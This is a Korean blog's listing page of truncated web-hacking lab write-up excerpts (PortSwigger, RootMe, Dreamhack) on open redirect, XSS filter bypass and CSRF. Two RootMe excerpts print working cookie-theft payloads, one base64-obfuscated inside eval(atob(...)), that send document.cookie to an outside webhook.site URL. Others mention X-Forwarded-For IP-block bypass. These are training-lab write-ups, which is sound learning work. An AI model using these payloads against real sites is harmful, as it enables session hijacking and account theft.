반응형

XSS 16

bugbountyclub Open Redirect

실습 설명실습 페이지 접근 시 4개의 실습이 존재한다. 실습 1번실습 1번 페이지에 접근하면 URL을 입력하는 입력창이 존재한다. URL 입력 창에 네이버 주소를 입력하여 Submit 버튼을 클릭한다. 네이버 주소를 입력 후 요청을 확인한 결과 redirect_url 파라미터에 입력 값이 들어가며, 응답 패킷에서 Location 헤더에 네이버 주소가 들어가여 네이버 주소로 이동하게 된다.실습 2번실습 2번 페이지 접근 시 here 부분에 링크가 적용되어 있다. 해당 링크를 클릭한다. here 링크를 클릭하면 redirect_url 파라미터에 index.php를 포함하여 요청을 진행한다. 응답 결과에서 Location 헤더에 index.php가 존재하며, index.php 경로로 이동하게 된다. redir..

WEB hacking 2025.07.03

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities 문제 풀이(WriteUp)

문제 설명XSS 필터가 존재하는 라이브 채팅 페이지에서 XSS를 통해 alert 구문을 트리거하면 문제가 해결된다.문제 풀이Live chat 페이지에서 XSS 구문 삽입 시 필터링되며 해당 IP가 차단된다. 차단된 IP는 X-Forwarded-For 헤더를 추가하여 IP 우회가 가능하다.POCIP를 우회한 후 iframe srcdoc 속성을 통해 XSS 필터링 우회에 성공하였다.'> XSS 필터링을 우회하여 alert(1) 구문을 트리거하여 문제를 해결하였다.

Lab: Manipulating WebSocket messages to exploit vulnerabilities 문제 풀이(WriteUp)

문제 설명WebSocket 메시지를 사용하여 담당자 브라우저에 alert()를 띄우면 문제가 해결된다.문제 풀이Live chat 페이지에 접근하여 alert()를 페이지에 띄우는 XSS 공격 구문을 입력한다. XSS 구문 입력 시 가 html 엔티티로 치환되어 웹 소켓 메시지가 전송된다. 웹 소켓을 변조하여 XSS 구문을 전송한다. 웹 소켓 메시지 재전송 시 alert(1) 구문이 발생하면서 문제가 해결된다.

RootMe - XSS - Reflected WriteUp

문제 풀이' 삽입시 a태그 속성 escape 가능 cookie 전송하는 코드를 base64로 인코딩location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?a=".concat(document.cookie) base64 디코딩 후 eval 함수를 사용할 경우 cookie 전송 자바스크립트 실행eval(atob("bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvYTBhNDVjZjktYjIzZi00NGU3LWE4MGMtMDc0NGNhZDBhNzI5P2E9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ==")) 해당 url 접근시 cookie를 포함하여 location 리다이렉트되어 쿠키..

WEB hacking/rootme 2025.02.20

RootMe - XSS DOM Based - Eval WriteUp

문제 풀이계산기 웹사이트 존재 사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다. 계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)1. 숫자로 시작2. 숫자뒤에 +, -, *, / 와야 함3. 계산식 뒤에 숫자가 와야 함 위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음 eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다. POC아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cooki..

WEB hacking/rootme 2025.02.19

드림핵 XSS Filtering Bypass WriteUp

문제 설명 XSS Filtering Bypass에 대한 문제이다. 이를 통해 크로스 사이트 스크립팅 취약점을 이용하여 문제를 해결해야함을 알 수 있다. 메인페이지에 접속을 하면 vuln, memo, flag에 대한 페이지에 접근할 수 있다. 먼제 vuln에 대해 살펴보겠다. vuln 페이지 소스코드 @app.route("/vuln") def vuln(): param = request.args.get("param", "") param = xss_filter(param) return param vuln 페이지는 param이라는 인자를 받아 xss_filter함수를 통해 필터링을 진행한 후 그대로 출력해준다. xss_filter을 살펴보자!! xss_filter 함수 소스코드 def xss_filter(tex..

드림핵 csrf-2 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/269/ csrf-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요. Reference Client-side Basic dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. CSRF 취약점을 이용하여 플래그를 획득하면 된다. login 하라고 한다. 먼저 코드를 분석해보자!! users = { 'guest': 'guest', 'admin': FLAG } user의 id와 password가 주어져있다. admin의 password는 flag라고 되어있으니 guest로 로그인을 진행한다. guest로 로그인을 진행하니 admin이 아니라고 한다. adm..

드림핵 csrf-1 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/26/ csrf-1 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. CSRF 취약점을 이용해 플래그를 획득하세요. Reference Client-side Basic dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. CSRF 취약점을 이용하여 플래그를 획득하면 된다. 사이트에 접속을 하면 vuln(csrf) page, memo, notice flag, flag 페이지가 있다. vuln(csrf) page는 파라미터에 스크립트를 삽입하여 취약점을 실습을 할 수 있는 페이지이고 memo는 request를 받은것을 메모해주는 페이지이다. notice flag는 admin만 접근이 가능하다. flag..

드림핵 xss-2 (Level1) Write up

문제 설명 https://dreamhack.io/wargame/challenges/268/?writeup_id=6566 xss-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. Reference ClientSide: dreamhack.io 위 사이트에서 해당 문제를 풀 수 있다. XSS를 이용하여 flag를 확인하면 되는 문제이다. /vuln 사이트에 script 공격이 막혀있다. 이것을 우회해서 문제를 풀면 될 것이다. 을 사용하여 XSS 취약점을 도출 하였다. 이것을 바탕으로 payload를 짜면 아래와 같다. payload 해당 페이로드를 /fl..

반응형